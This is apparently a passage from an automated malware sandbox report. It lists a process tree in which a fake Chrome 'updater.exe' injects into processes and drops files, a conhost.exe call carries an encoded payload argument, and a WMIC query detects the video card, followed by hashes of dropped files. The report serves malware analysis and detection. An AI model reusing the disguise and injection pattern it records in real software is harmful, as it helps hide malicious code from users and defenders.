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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz2⤵PID:1444
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C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2616
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C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor1⤵
- Detects videocard installed
PID:4004
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
1.8MB
MD5b92cce233705290c05b86dab474631b5
SHA14ecc71c4242d6e0e0c3229453944c2aff7d13ad9
SHA256b5c97703187d6586a412aabac9e43cc94eb88b0d38dff948d29c8a0d1fffbbe7
SHA512643ae258f2d00bc7b21a238b425b67f49c01fb684593e272688d79fef0f23b693a1a5ff8d80b378e5d92fde4bf61b77fd0ec5c051696041b7b7d835778ef30a5
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Filesize
644KB
MD55af49c108ff1f408ca4e0fbe09d979d4
SHA1ffe98ce25b489054dfc8c9bc2141dd2bb979e87d
SHA256a0b387a1f6858b12aaf36debbd6f59a1d670544715ba37f1a6069a3ca8c0b27d
SHA5129bf09f65b93b48d93bea1029d1f77a967b1a233148e0297fa23ca6d86f6739a356f9941cc94180e93007b9a66385338f2e947da4a91369844aa9370ed21ef029
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Filesize
226B
MD5fdba80d4081c28c65e32fff246dc46cb
SHA174f809dedd1fc46a3a63ac9904c80f0b817b3686
SHA256b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398
SHA512b24a6784443c85bb56f8ae401ad4553c0955f587671ec7960bda737901d677d5e15d1a47d3674505fc98ea09ede2e5078a0aeb4481d3728e6715f3eac557cd29
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Filesize
1KB
MD5adcf7694324db40696dec9e7145c7d9a
SHA16a5a093f6fec740444de5c219fd6af57f087d436
SHA256b7678468701b0c13267926de54a86f833541a6d0420e466d62d1fa948bbfe054
SHA512b5ad97789767fe51c37b603b3ec7015008a69699115330404193ceebb3158d5ae674062699b9cb62fa5635a7e78330d952e4438176bd9612d50c424845fb6896
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Filesize
944B
MD562623d22bd9e037191765d5083ce16a3
SHA14a07da6872672f715a4780513d95ed8ddeefd259
SHA25695d79fd575bbd21540e378fcbc1cd00d16f51af62ce15bae7080bb72c24e2010
SHA5129a448b7a0d867466c2ea04ab84d2a9485d5fd20ab53b2b854f491831ee3f1d781b94d2635f7b0b35cb9f2d373cd52c67570879a56a42ed66bc9db06962ed4992
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Filesize
1KB
MD5d98a478d3aa04d351bff3c424003c32e
SHA1f70dc099995273b80a1b474da8aa76e786186b7c
SHA2562c017a839dc7ae53adae9a5afef6c2430f705e2e9fc3316538f0bbe776f1f6b6
SHA512ff5d3ee8c06a6f50ba3619b94ace32be095f14d7e0b2e2961cbcfe25d0bd0c8451c2494cc2c6808276ea6a616451421fdd2489003ede9f9552f5909eb9283c0b
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize4KB
MD5bdb25c22d14ec917e30faf353826c5de
SHA16c2feb9cea9237bc28842ebf2fea68b3bd7ad190
SHA256e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495
SHA512b5eddbfd4748298a302e2963cfd12d849130b6dcb8f0f85a2a623caed0ff9bd88f4ec726f646dbebfca4964adc35f882ec205113920cb546cc08193739d6728c
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C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Filesize23KB
MD5293d759573c5f8e69408372040d6c94c
SHA107106ccb998b4a31b641f63a8bbc562a63b6725d
SHA256f807ea59ba55d0b621357c5834f93a12fe424c3fb63021f9d381540c321808f4
SHA512a7b02aa83388be265021fc2de11dbce838bd65d63c63d2ea1209eba1d6fde0a74d470324d096d3f2b37179db4491e520a10bfdadc75f0ab1fa97801d2686710f
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C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize1KB
MD54ee95b2cc6050ec464890e249f411da7
SHA1c23b3ba1e2e9438e67037cd93cd05e69fdcb23e3
SHA2561842cfc5151d4f9821e1df20f1c64a44f1f478bb0932723cd605a031e11c5b01
SHA51222806a64855bd867e2593486f6f4b08e93d4900f55fd73ed6b4df0349ea5ab2b3e0c9872e9bc1d9a4438ad083cab7ea49af37b0bfe650a7b2b962de2c52c3ec4